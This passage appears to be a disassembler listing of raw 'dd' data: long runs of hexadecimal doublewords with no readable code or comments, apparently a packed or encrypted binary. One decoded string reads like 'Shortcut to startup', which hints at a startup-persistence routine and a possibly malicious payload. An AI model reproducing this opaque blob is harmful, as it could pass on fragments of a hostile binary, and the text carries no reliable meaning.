		dd 0D593F24Eh, 0DDE311C5h, 0A9AFD8A8h, 0F5B9DCE8h, 8D8FBDFh
		dd 0D579240Fh, 402EA8A3h, 77B9BE48h, 0EAA558E7h, 0E55E098Bh
		dd 0EA86C438h, 0F9EC0A6Eh, 438D8DFEh, 0F062330h, 8D89D2B7h
		dd 61E2375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0A2C35545h, 324D85C7h, 5D9C061Eh, 9600000h, 1E09D9BDh
		dd 0D1816606h, 0C761571Ah, 1E316985h, 6, 5D9D8B00h, 0FF061E19h
		dd 1E327DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0EE59DA6Dh, 0B77CEBEDh, 0B995FF38h
		dd 6A061E16h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 861FC355h, 0FB18AE43h,	0F3AC373h
		dd 198Eh, 13890F00h, 0E9000000h, 0Eh, 444B1FCBh, 9AC61C39h
		dd 4732E6Dh, 5B51590Eh,	95FF006Ah, 61E26C1h, 0EEBC08Bh
		dd 0FC9B0645h, 352C0B6h, 78B14A3Dh, 2ADE9F4Bh, 46D4D471h
		dd 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh, 5AF19826h
		dd 72EF5E26h, 60338606h, 0E4FFB44Eh, 0A2F867A5h, 0BEA08614h
		dd 122B49A3h, 0BA796720h, 2DDDA9A3h, 62D71B20h,	33338615h
		dd 33831D29h, 0B6C09826h, 3585A840h, 6BD61576h,	63AFBB16h
		dd 3AE50DD9h, 64839E38h, 59359826h, 5B1F1523h, 634BBB16h
		dd 3FE1DABh, 0CC039E05h, 2DB77DB3h, 3C149320h, 336AA1A2h
		dd 5BB01526h, 639CBB16h, 334DAACEh, 0BEF6D826h,	1063F6A3h
		dd 0B624C820h, 35F7A84Eh, 8AFF6776h, 0B033860Dh, 0B61794E2h
		dd 356EA84Eh, 6B231576h, 6355BB16h, 3A980DD9h, 513D9E38h
		dd 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh,	33A69824h
		dd 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh, 3335B2CFh
		dd 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh, 33A9982Ch
		dd 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h,	0FB4EC3D9h
		dd 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh
		dd 65881526h, 0BE9CBB16h, 107C13ABh, 932020h, 0FC780000h
		dd 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h,	8BB58DFFh
		dd 8D062331h, 2331AA8Dh, 83CF2B06h, 0C88B05E9h,	328F8D8Dh
		dd 6A0623h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 2E42EFC3h, 96952D5Ah, 23758D89h, 0BF0F061Eh
		dd 4D85C7D6h, 28061E32h, 6A000068h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 9EFC350h
		dd 5623512Ah, 0BD89E0BAh, 61E297Dh, 316985C7h, 61Eh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0BAC01EC3h, 432854E8h, 0E5B5FFFCh, 6A061E32h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 7DE8C351h, 1D68D90Ah, 8CE381A5h, 8B60EA24h, 1E1B55B5h
		dd 0B995FF06h, 0E9061E16h, 0Ch,	0A36491CAh, 0B8AE2369h
		dd 114CE839h, 95FF006Ah, 61E26C1h, 7FEBC08Bh, 53F4E938h
		dd 4C933B7Eh, 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h
		dd 0BB8DD50Bh, 7CF37889h, 0A2C9F7Fh, 0F8DFFC92h, 0B794E22Bh
		dd 0B7788DC0h, 7FAB7544h, 0B6475734h, 38D2D1A9h, 0D22B881Bh
		dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h
		dd 0BEC4B06Eh, 32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh
		dd 7A3BB7F5h, 0D62A9CBCh, 5EEFE802h, 824AB473h,	9E79EA2h
		dd 0E8E23992h, 11h, 0D28985h, 2E724824h, 0F4BC92CAh, 0A60DB904h
		dd 91BD319Dh, 58061E09h, 55CF8166h, 0F5C08196h,	0F000066h
		dd 1389h, 7E800h, 0A2F40000h, 679504D0h, 5BD0999h, 5F061E02h
		dd 3AFB22BBh, 9EEB816Ah, 0F6A3AE1h, 30FFF1BFh, 32518D89h
		dd 815A061Eh, 0C5C2A2F2h, 5EDEBF29h, 0C28128F7h, 1413D00Fh
		dd 153CB966h, 383EEA81h, 8B5007A8h, 1E03618Dh, 89525F06h
		dd 1E3179BDh, 0FC008F06h, 7145E881h, 0CE87D88h,	97000000h
		dd 6A53A0A9h, 1A98357Ah, 805FECD0h, 8159E0C5h, 887141C0h
		dd 31B5337Dh, 81061E02h, 1EBh, 1E850F00h, 89000000h, 1E079185h
		dd 2BE906h, 77B90000h, 0EAA558E7h, 0E55E098Bh, 0EA86C438h
		dd 0F9EC0A6Eh, 3870FFEh, 0F000000h, 6BE9FBBFh, 5DFFFFFFh
		dd 0B4205619h, 0EDA0C361h, 623673FDh, 625F6163h, 3B7CC432h
		dd 2ED53BF1h, 26DD3516h, 62489C16h, 331D4C32h, 0FFD58BF1h
		dd 644211CBh, 493C49B9h, 7C7711A7h, 5BC1EB34h, 35A2F2Fh
		dd 7F2525B1h, 175C4A2Ch, 47E1A53Bh, 625A0D19h, 310C9046h
		dd 61E404B9h, 0EB5C6236h, 7C50D8B7h, 58C11534h,	9D5A6C9Eh
		dd 0E1047DE1h, 7C77368Fh, 75288934h, 61E49762h,	0EB5C6236h
		dd 7C50D8B7h, 4BC11534h, 9D5A6C9Bh, 8047DE1h, 61B44532h
		dd 425C8932h, 0EB02076Ch, 0E3584646h, 76581576h, 245C9832h
		dd 8A798F64h, 625C263Ch, 0E8E4DA41h, 0F822D9F7h, 9BBA7C07h
		dd 0EC539312h, 625C3132h, 355CF269h, 625C4FDAh,	0A1030632h
		dd 46209A6Dh, 46180836h, 625CDF36h, 0A10B2532h,	1EF62C85h
		dd 0ADEED2F6h, 7779C119h, 0D7D5202Ch, 6442157Bh, 623649B9h
		dd 625F2C61h, 397C6232h, 3ED56AF1h, 26DD9C16h, 62414816h
		dd 311F2632h, 531DEDF1h, 1DD52146h, 315B5A70h, 0A8C381B3h
		dd 40615B1h, 0E65340BEh, 625C4C33h, 6D588ECEh, 625FABB6h
		dd 0E1A40232h, 7C438D8Fh, 0E6536234h, 625C310Ah, 44AD1DBBh
		dd 0FCB54A2Ch, 85C2631h, 61B44532h, 425C8932h, 0EB02076Ch
		dd 0E3584646h, 7E581576h, 245C9832h, 93748F64h,	6BE82EE5h
		dd 9AB7EE83h, 26BD0862h, 38357F8Eh, 627B628Ch, 27778A30h
		dd 0E7D18469h, 647D2791h, 52D9ABB9h, 0B2A3152Ch, 76A134B9h
		dd 0A2D9C22Ch, 62FEE63Dh, 62363132h, 625F7061h,	397C4C32h
		dd 3ED57DF1h, 26DD1716h, 624A8D16h, 311FC432h, 1F9A3BF1h
		dd 7C99AC33h, 5ADD9E2Ch, 99DD2A65h, 6264A33Dh, 0E7D51332h
		dd 64429E8Fh, 66244554h, 0E6536030h, 625C322Eh,	8A0C9858h
		dd 625C4C31h, 3A9F7E12h, 667857BBh, 6678CDB3h, 625CC42Bh
		dd 4E9F3272h
		dd 0F65DE382h, 0BBDDFEDEh, 0E33AB0D2h, 6D3CBA0Ah, 625C3CB7h
		dd 43C18A32h, 0E25ADA03h, 6DB4604Ah, 625C2EB7h,	4302E32h
		dd 625A34B3h, 73D92999h, 0EB5C1332h, 7C7A50AFh,	609E2D34h
		dd 0F7D76232h, 644228F3h, 635D988Ch, 0BCE34374h, 9FFA3BFh
		dd 62361513h, 625F6165h, 3D7CC432h, 1ED53DF1h, 26DD3516h
		dd 62469C16h, 351B4C32h, 2EC1A8F1h, 0E96CEE86h,	6C9D04B9h
		dd 0B2A3C22Ch, 8A096258h, 625C3131h, 3F9FC512h,	667820BBh
		dd 667862B3h, 625C132Fh, 0A19FDC77h, 33823B6Ch,	0AB31153Dh
		dd 5FD1BAD0h, 0E75A8637h, 5CD843F2h, 0D05C2630h, 4649288h
		dd 6D5E8B0Fh, 625C8DB7h, 355C0832h, 625C32DAh, 0A103B832h
		dd 4620C56Dh, 4618A736h, 625C0436h, 0A10BCE32h,	745A529Ch
		dd 261795B3h, 0A1E35C02h, 6D294167h, 625C4AB3h,	67C91532h
		dd 0E35A0D30h, 5F3A8F4Ah, 0E653BE6Dh, 625C6032h, 4C25B4BBh
		dd 0E33A9E2Ch, 6D3CD00Ah, 625CA3B7h, 73D51C32h,	8A5C8932h
		dd 625CC439h, 0D47994B0h, 9F3B584Dh, 3B289183h,	8A5E34B2h
		dd 6238A33Dh, 62361332h, 625F6164h, 3C7CC432h, 16D53CF1h
		dd 26DD3516h, 624A9C16h, 341A4C32h, 4758C6F1h, 625D913Dh
		dd 4A98932h, 625ABCB3h,	51D96DF2h, 85C3132h, 61B4CF32h
		dd 425C4C32h, 0EB03E56Dh, 0E358374Eh, 7758AD76h, 255CC432h
		dd 0C924A165h, 7625BCB9h, 17B59E2Ch, 45C4C33h, 6BF3D5B3h
		dd 71CDA6BBh, 62E28F2Ch, 0EB22C533h, 7C5DEF87h,	0AE35734h
		dd 0C1D91542h, 85A6D59h, 61B47332h, 425C1332h, 0EB014A6Fh
		dd 0E358E05Eh, 7A584676h, 275C3132h, 87515B67h,	0D4634BE7h
		dd 88CD9DAh, 61B44532h,	425C8932h, 0EB02076Ch, 0E3584646h
		dd 77581576h, 245C9832h, 0BA528F64h, 53E9B3BBh,	0A2D9152Ch
		dd 62AF0D3Dh, 0E33AC432h, 0E2E21CD5h, 0E753D90Ah, 625C98B1h
		dd 8A0F4C58h, 625C2631h, 399F4812h, 6678D5BBh, 667880B3h
		dd 625C622Eh, 0E79F6271h, 0A6999E25h, 96AD2B8Fh, 625C2FDAh
		dd 7B4D2832h, 1B0AB9E0h, 0E33A5735h, 38483FF5h,	115949B2h
		dd 621D1D3Dh, 62364C32h, 625FCE64h, 3C7C1332h, 16D5D7F1h
		dd 26DDC016h, 62476616h, 341A3132h, 5AAAE7F1h, 0C4D6374Dh
		dd 6524A6AEh, 0EBD81C61h, 8A5C8932h, 625CC439h,	2AB218CFh
		dd 0FAF1545Eh, 6D2D2BD0h, 4038785h, 67D31EB3h, 620B963Dh
		dd 62368932h, 625F2C63h, 3B7C6232h, 2ED568F1h, 26DD9C16h
		dd 62464816h, 331D2632h, 3BDC47F1h, 35952186h, 615951B9h
		dd 1ADC642Ch, 0E7535934h, 625C9817h, 7415F139h,	0E33A202Ch
		dd 47A3184Ah, 624F0C3Dh, 6D0CC432h, 625C62BBh, 7BB56832h
		dd 4B5C9832h, 7C44F18Fh, 49C0D34h, 41B5C4B9h, 6D5C8932h
		dd 0FFD53C85h, 64424E93h, 625C308Ah, 62517132h,	0A36F4C32h
		dd 6EDAA8EFh, 6132067Eh, 4E5180Bh, 4CC1AB9h, 320CB8B9h
		dd 4508652h, 3EBF788h, 0E053DC6Dh, 625C2633h, 63E19ECAh
		dd 0EF5AAA06h, 4165F9BFh, 377FDA34h, 0E75F4654h, 64428EA3h
		dd 8B9D8319h, 3362E230h, 87EB22C5h, 347C5DEFh, 420AE357h
		dd 59C1D915h, 32085A6Dh, 5E98373h, 6A58A4F3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 9F61C351h, 8A4371DEh, 0B3CB7F9h, 0A9840FC0h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0C9E0C357h, 0B58DB91Fh, 61E4CB8h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 25527A09h
		dd 91958B51h, 5B061E2Bh, 3B8h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 85156D0Bh
		dd 34C28166h, 6AE6FF01h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 53F5C351h, 95878DE9h
		dd 0B5891438h, 61E2D79h, 618D0957h, 5A061E09h, 8BDE8B40h
		dd 22C4BAC0h, 83F50E8Fh, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535019h, 403B8C0h, 85890000h, 61E0D19h
		dd 0ACA19D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h
		dd 403B853h, 85890000h,	61E0D19h, 0A9429D8Dh, 0D3FF0620h
		dd 6A585Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0C94740C3h, 2F4A9B64h, 0B885D1Ah,	1E03459Dh
		dd 0D0BF0F06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	9EC35040h, 0D9FD7FAAh, 0A5958B79h, 8B061E09h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 18850F5Dh, 0E9000000h, 13h, 0B7D5D523h, 93689F9Bh, 0F4FD108Bh
		dd 0B8881287h, 614FF843h, 12E8h, 0E4914A00h, 2DA9DA9Dh
		dd 75278022h, 0F52F6BACh, 8914C3F5h, 1E09818Dh,	0C1815906h
		dd 70FCh, 6E8h,	5CD9A600h, 0B21410Eh, 1E1DC9B5h, 0D2335F06h
		dd 10E9h, 0AEE30C00h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh
		dd 111C8BF0h, 12E9h, 64EBF500h,	5AA5486Dh, 69AF1872h, 0C1599777h
		dd 816E9E8Bh, 8186A8F3h, 265ABF6Ah, 0F3811BE8h,	750E7342h
		dd 0F83F7DBFh, 61F38115h, 0F12C0DEh, 8B53F8B7h,	11048FFAh
		dd 71950153h, 58061E29h, 120DB58Bh, 0EA83061Eh,	0E0805104h
		dd 0FA815F55h, 0FFFF8FACh, 0FF9F850Fh, 0BF0FFFFFh, 325820F7h
		dd 3231C857h, 6C121001h, 46BB56C2h, 76B30025h, 322F0625h
		dd 64740101h, 95B7BAC2h, 5FAB60D0h, 54228E6Ah, 3258C88Dh
		dd 3231E050h, 6B120401h, 7EBB5BC2h, 76B30525h, 32278425h
		dd 63734001h, 0BB3D95C2h, 2C2EE1BCh, 3D36A007h,	3233CA85h
		dd 64326801h, 323202E9h, 0F16CA001h, 1646C95Fh,	1676A105h
		dd 32320B05h, 0F1644E01h, 9AEFE710h, 0DA9BADD9h, 0A9D88067h
		dd 7B8F038Ah, 32345E1Eh, 3208A40Eh, 26DB1001h, 20320801h
		dd 89EE66A1h, 0A90E4A1Fh, 129025E3h, 6E4EE201h,	0DB9CADC2h
		dd 3232217Ah, 323200E9h, 0D36E7201h, 0E183A324h, 0AC9B0F3Bh
		dd 0CEA6103Dh, 0ABAF0BF8h, 68345E27h, 30BB2F91h, 0B9321001h
		dd 0A88858D9h, 0A269F281h, 312F9F88h, 0A731071Fh, 342CAB0Ch
		dd 167E410Eh, 63324AFFh, 323213E9h, 0F16B2801h,	167E8D58h
		dd 16768305h, 32321505h, 0F163C101h, 0A7B91874h, 342C3BC8h
		dd 581ED082h, 31DA5801h, 12320401h, 0BB6AC159h,	0B3362545h
		dd 2936A445h, 72324001h, 0FBF9E351h, 0D6BB7FC1h, 3B52BE14h
		dd 2C26F5B4h, 3353FE07h, 2C1990B4h, 0DB3A0B07h,	32324004h
		dd 0E4DC36Ah, 7AB976E1h, 0E98D07FDh, 3235EC51h,	233F0201h
		dd 3285557Ah, 65833F52h, 686939DFh, 40BA167h, 0BEB61FFEh
		dd 0B9320801h, 2C3EF994h, 3BF38107h, 32320FE8h,	4D160501h
		dd 620985B6h, 8C6BAA55h, 0B2D565D9h, 0B73DE138h, 3232048Eh
		dd 2ED39788h, 73B9071Fh, 6032EA00h, 323243E9h, 0F1680001h
		dd 1666995Bh, 16768905h, 32321105h, 0F1604001h,	189F438h
		dd 31554C2Ch, 62322AC9h, 323223E9h, 0F16A3001h,	16768159h
		dd 16768505h, 32321805h, 0F1624101h, 1AB51AE1h,	0B2E44C31h
		dd 0F3B14EE7h, 848D7604h, 0A20B89D9h, 3DB9474Ah, 32322884h
		dd 0BFCA8B01h, 2C7E388Ch, 0CB876307h, 8A343E00h, 32321002h
		dd 323205E8h, 0E5FC3001h, 15A8827Eh, 0E90F1B8Eh, 0D3CDB494h
		dd 53E8F70Eh, 32322CE8h
		dd 95288901h, 0EDA8403Dh, 533EB5B7h, 0FB8F8F2Ah, 0BF34223Ah
		dd 110C998Ch, 0B146F807h, 0B7012193h, 342C1098h, 0DBF3C72Ah
		dd 32582003h, 3231C857h, 6C121001h, 46BB56C2h, 76B30025h
		dd 322F0625h, 5E98301h,	0C08BA4F3h, 0E38123B3h,	4C5C27F6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h
		dd 8BEB15F3h, 0DE8C3h, 240000h,	0BA3BF746h, 0E1B68F13h
		dd 0E846AA7Fh, 0Ah, 69447BA1h, 0E767C34Eh, 7E8F788h, 46000000h
		dd 911DBCB1h, 11E90BD5h, 0FE000000h, 16D5AAACh,	84BA326Dh
		dd 0BFA2BDE1h, 33C453DAh, 89595B5Eh, 1E1509BDh,	67C18106h
		dd 0BB00006Bh, 21E2C3C1h, 0B58BFF33h, 61E16D9h,	0B30F34FFh
		dd 0B58958CDh, 61E07EDh, 0BB69C081h, 0B58B6696h, 61E02EDh
		dd 0A773E881h, 0D08B359Ah, 0FB49E881h, 10E90FC5h, 0FD000000h
		dd 8020220Dh, 140F78B5h, 124D8AB0h, 50959886h, 2B5B58Bh
		dd 48F061Eh, 17880F39h,	0E9000000h, 12h, 0D003135h, 57922707h
		dd 32B72665h, 0E920C1ECh, 0EF83CB8Ch, 0D2EA8003h, 0ED85894Fh
		dd 81061E29h, 0FF9598FFh, 18850FFFh, 66000000h,	0FCAFEE81h
		dd 24E9h, 3C6F4D00h, 425C6DF0h,	0EB26410Dh, 66F75F3Fh
		dd 55B3DB81h, 0FFFF63E9h, 7D2577FFh, 0FF8C3DA5h, 0BEC5603Ch
		dd 0B0E9ACh, 66600000h,	0C2F6DA8Ch, 0C850F04h, 3B000000h
		dd 1E02F185h, 36840F06h, 3B000000h, 1E145585h, 2A840F06h
		dd 3B000000h, 1E1E9D85h, 1E840F06h, 3B000000h, 1E21C185h
		dd 12840F06h, 83000000h, 1E2BFDBDh, 840F0106h, 5, 5FE9h
		dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
		dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
		dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
		dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 1E4CB89Dh,	5B806h
		dd 0E3FF0000h, 0D00BC361h, 68536CEBh, 6374726Fh, 74207475h
		dd 7473206Fh, 75747261h, 70h, 13h dup(0)
		dd 0AAF80000h, 13F25h, 4EE90000h, 6800000Fh, 6234243h
		dd 0FC03DBE9h, 434A68FFh, 0D1E90623h, 68FFFC03h, 623451Dh
		dd 0FC03C7E9h, 455C68FFh, 0BDE90623h, 68FFFC03h, 6234602h
		dd 0FC03B3E9h, 469D68FFh, 0A9E90623h, 68FFFC03h, 6234ABCh
		dd 0FC039FE9h, 4D6E68FFh, 95E90623h, 68FFFC03h,	6234E3Fh
		dd 0FC038BE9h, 719ECEFFh, 7388D021h, 7384D223h,	7087D223h
		dd 7186CF20h, 0A9E25A21h, 0AAFB4BACh, 0A5F646C1h, 0A4F545B2h
		dd 0D7F949C6h, 0BB36A95Ah, 0A67E1AAEh, 62AFBB39h, 729FCB00h
		dd 30181022h, 0E6866617h, 9B721A93h, 0A9DE40BDh, 0C3F44CADh
		dd 4958BA78h, 1A93E6D2h, 0D436C196h, 0E042B79Fh, 257C666Fh
		dd 0C4767B16h, 2EE98C80h, 0BAA0A9DAh, 0E267342Dh, 4F26E7h
		dd 0FAD90000h, 2A011A0Eh, 2E6ACC2Bh, 13AD5EFDh,	611A93D0h
		dd 3F4441A3h, 29176055h, 0B74019B7h, 67D2E5Fh, 0CA1A93E9h
		dd 8BF6A78Fh, 0CB1A93E9h, 1E53B50Dh, 0EE51024Ch, 261A93E9h
		dd 3DAE1068h, 0E8F74E34h, 716AFFE3h, 63E7E343h,	0D6h, 62AFBB16h
		dd 0EF97249h, 19DE77ACh, 0ABA890C1h, 0FBE05B0Ch, 72301C8Dh
		dd 0E5EB6A41h, 0B708A486h, 1F389012h, 95D9831Ah, 0C3D4F68h
		dd 8E7BEF24h, 9673F72Ch, 0BE6B1B46h, 0D1991C8Dh, 22481F38h
		dd 38C394E5h, 8AE03107h, 0F3251B7Dh, 0B68D2C45h, 0BDF95BB4h
		dd 0B18DDB8Ch, 0DCB1A93h, 0CB7DABBDh, 43C6ADB2h, 5C6563D8h
		dd 5EDB8C2Bh, 7A1CB378h, 89CCA3BCh, 0DA179847h,	91E919DEh
		dd 40C9A178h, 9B71A2DEh, 31EC0B4Ah, 6F51E7AEh, 0E36BB981h
		dd 7800000Ch, 76C717F4h, 2 dup(74C515E2h), 79CA1AE5h, 4CB1BDCh
		dd 0F502538Ch, 0FC1754A5h, 0FFFC5BACh, 30C5EAFh, 631491B3h
		dd 1AAEB9F8h, 0BBF36038h, 0BC0D5D9Ah, 0F81161AEh, 0FB35A859h
		dd 0BF7D1C8Dh, 0EFA9F8Eh, 0A512DBF3h, 0B40CE73Bh, 3956EA9Bh
		dd 1F9E1A93h, 92EFF36Eh, 2D85431Ah, 60F7CECBh, 42B96A9Bh
		dd 61A92EFh, 1146A84Fh,	0CD38A46h, 874B5EA5h, 535CCD2Fh
		dd 409186Fh, 292F061Eh,	0E53672D4h, 3C588986h, 0E7E21043h
		dd 0AE35h, 0AFBBE800h, 8ACB0062h, 4AFC0B6Dh, 7A1C8DFFh
		dd 0AEC717F0h, 0FEE35E0Fh, 7C331C8Dh, 84C022DDh, 4624FB2Ch
		dd 7CD9B0C9h, 6C624A7Bh, 0C2738CBCh, 1A93F2B2h,	1F8233B2h
		dd 571A93E9h, 0DFF14199h, 35E6FF29h, 1CB340E7h,	370E27E5h
		dd 0F425B21Eh, 74312A6Bh, 2CFAF156h, 6BC31B25h,	9F02B352h
		dd 0D710B35Fh, 0C112E819h, 41A86394h, 0D46F51E9h, 0BDCBE0Ch
		dd 0FB710000h, 0EB6DBE0Eh, 0E96DBE0Eh, 0EA6FC010h, 0E96CBD0Dh
		dd 7FF7BE0Eh, 98E80F46h, 97E72447h, 96E61146h, 9CEC2545h
		dd 0D14CFD7Ah, 211AAEB8h, 9ABBDC49h, 0AEBC0D5Dh, 0BBA81161h
		dd 0CB0062AFh, 8259729Fh, 1BF122D5h, 0B7681F09h, 1C8DFB44h
		dd 7683D58Ch, 2880D814h, 78DB0A0Fh, 0B6D8ACBh, 8A8150CFh
		dd 0A95AF92Ah, 1A934C63h, 9E01B231h, 4A1A9343h,	6D24E90Eh
		dd 75B113ECh, 5463C51Dh, 1A9343EDh, 5FE4DEE3h, 0E7E29D66h
		dd 8C6BEAC1h, 0B5BDEE2Ah, 7, 894A268h, 0FA550000h, 50011A0Eh
		dd 1A93ECFCh, 0BFF45614h, 0BD0E5EABh, 0F30264ADh, 7DD7CFA6h
		dd 0F2643BDAh, 0D7CBD405h, 1C7F30CFh, 71EFC1h, 0EFC1EC4Fh
		dd 0A1662471h, 8FDBB2E3h, 89E13282h, 0A90F1E80h, 5B71EFC1h
		dd 679CFEFBh, 0B3A80AEFh, 0F571B0AAh, 2A408872h, 2E3C8DDDh
		dd 0AB827FE1h, 702152BFh, 8E103EF4h, 0CF8A6100h, 0F4EEF728h
		dd 959B6B4h, 0F355B2B8h, 9FF6F1F6h, 9A22A198h, 0B6E71049h
		dd 253EEA1Eh, 0F1468C74h, 0D4D97877h, 74AB32E1h, 0DF426D7Ch
		dd 176F0DBDh, 1FDD2859h, 0CC7020CFh, 649562F5h,	0D3EC5CCCh
		dd 139DFA22h, 4AFCBA69h, 37DD79Bh, 54C434BBh, 96768A3Bh
		dd 0A5AA4D3Ch, 12D74FE9h, 0F90384C2h, 0AF6C75F4h, 1FDD2859h
		dd 0E3F10106h, 0D8C85E5h, 72D4BF0Ah, 46F11EABh,	1D4D9EF6h
		dd 0E5DBC3F4h, 4DEC0533h, 0DA9BE648h, 3A6B8A5Ch, 61FDC389h
		dd 0BAD39147h, 0CF76A1Bh, 813F7F63h, 90DAB150h,	2C2BDB7Eh
		dd 0D91577CFh, 4F636881h, 0E43C511Eh, 89A278A9h, 5EC639EAh
		dd 500E7F63h, 0EC22481Fh, 0EF2B8D6Ah, 0EA17DC97h, 723AC701h
		dd 0A0924h, 41CE9E00h, 43B8A0F1h, 43B4A2F3h, 40B7A2F3h
		dd 41B69FF0h, 79B22AF1h, 7ACB1BDCh, 75C616F1h, 74C515E2h
		dd 0A7C919F6h, 0BE06792Ah, 764E1AAEh, 62AFBB09h, 134556A7h
		dd 0E331F963h, 9CAh, 0B0000D5Fh, 0B404F95Fh, 0B606F363h
		dd 0BB0BF465h, 0BC0CEB6Ah, 11447DF5h, 264596E6h, 0F4899E9h
		dd 1F4B9CECh, 380A2F2h,	0AEBEEF52h, 0E24F271Ah,	62AFBBh
		dd 0FBAC8ACBh, 1C8DFB80h, 0AAC112D0h, 6B5055Dh,	0D94FB956h
		dd 8770E9C0h, 19B8E925h, 93DBB068h, 2942001Ah, 0DB66D98Ah
		dd 37221A93h, 0C3DFBC0h, 827B25D4h, 3CECDB2Eh, 0A354F30Ch
		dd 0DB568138h, 8E3BBA78h, 0D666D058h, 0D0812051h, 0DD48B10Ch
		dd 2E248644h, 84354EFAh, 0D75508CCh, 0DEB5CE8Ch, 0E233838Ch
		dd 43C47F88h, 0DE372E49h, 924C816h, 0B3B90000h,	0A3B50656h
		dd 0A1B50656h, 0A2B70858h, 0A1B40555h, 0C73F0656h, 0E030C78Eh
		dd 0DF2FDC8Fh, 0DE2EC98Eh, 0E434DD8Dh, 299445C2h, 691AAEBDh
		dd 0AFBB2491h, 8CCB0062h, 8C51566Fh, 6A56F29Fh,	144CAF60h
		dd 0C6841C8Dh, 39A4556Eh, 791C8D14h, 89B48ABBh,	1C8D1476h
		dd 0B8D147B1h, 9D5878E1h, 6B33FF1Dh, 0F493C41Ch, 0AE8DFE43h
		dd 1243FA1Ah, 0EF4783E5h, 9E6BFFD6h, 0AB6DFD4Eh, 0DCF54DAAh
		dd 8D118C3Dh, 0A3611AAEh, 558A72h, 0F76095F7h, 0BAC84904h
		dd 7CF6936h, 889B9h, 0C14E1E00h, 0C3382071h, 0C3342273h
		dd 0C0372273h, 0C1361F70h, 0F932AA71h, 0FA4B9B5Ch, 0F5469671h
		dd 0F4459562h, 27499976h, 0BD86F9AAh, 0F6CE1AAEh, 62AFBB89h
		dd 729FCB00h, 352DB010h, 4C9C75F5h, 154BDB6h, 594AFEEh
		dd 0FA620000h, 50011A0Eh, 1AAEBBCBh, 59304907h,	96A8F811h
		dd 5653B563h, 0BB9B06B7h, 1DDB1AAEh, 0D78B3BECh, 0E07B63C2h
		dd 48AA4F09h, 0E8D2DB0Ch, 71AD625Bh, 84E6BD6Eh,	0BCED298Bh
		dd 53B4h, 1CF36700h, 0F991C23Dh, 0C8361F0Eh, 0B0126A8Dh
		dd 0FE031C74h, 62D5100Bh, 8322532Bh, 8D4E6FD2h,	87E9A71Ch
		dd 0EA2C4578h, 0C4BEC33Ch, 9941463Fh, 1E38CDh, 643B0000h
		dd 6CA80AF5h, 0EEF34C3Bh, 6DE839D8h, 3525569Ch,	27Bh, 96138h
		dd 4231629Eh, 6B11EEF3h, 21F6188Fh, 78A058F0h, 3BDAE5Fh
		dd 3FFD1AAEh, 256CEDDh,	0C7AC1AAEh, 0FA2EDAD3h,	424330E1h
		dd 542B1C8Dh, 5A96F803h, 720DE29h, 6CCE2930h, 0D829FF30h
		dd 0E3187A7Dh, 676C8572h, 1FD05928h, 10CA9FBCh,	86B736F4h
		dd 0C6AEDFD6h, 16564C55h, 1768B83Fh, 2055B754h,	0D0A7C04Bh
		dd 0D4107285h, 0AB4ABBA3h, 68433EA6h, 0CABE44B7h, 4FCE8C10h
		dd 0EE3F5C76h, 0F12D8F68h, 0C3C3B7C0h, 7E2AC2BEh, 0FC7B188Ch
		dd 8E209E7Ch, 0D1A8D9FEh, 17E4749Ah, 82179B5h, 24E3803h
		dd 9ECFACE0h, 1B3C9DC8h, 87D010CAh, 0BBC5B74h, 10CA1B90h
		dd 0C92E29E0h, 0A2D32B67h, 0FBEF7BCCh, 5600E808h, 0CFC022A1h
		dd 383597EFh, 0B48F8A33h, 0F92A7159h, 190FFA0Ah, 54BFAC7Dh
		dd 719ECDA2h, 44955358h, 3FCD9DF7h, 0AC5DD11Bh,	90C11919h
		dd 99523F6Eh, 3E37CCB6h, 30EE0132h, 406h, 9C9ABBE3h, 8DFB70EBh
		dd 0AA02C01Ch, 0B1C5B548h, 0FF6213B2h
		dd 371C8DFBh, 5B3F4879h, 9CB54213h, 0F5A690C5h,	1C8DFB8Ah
		dd 35B40CCAh, 4291B67h,	5A3061AAh, 0FAB4C09h, 0BB26D776h
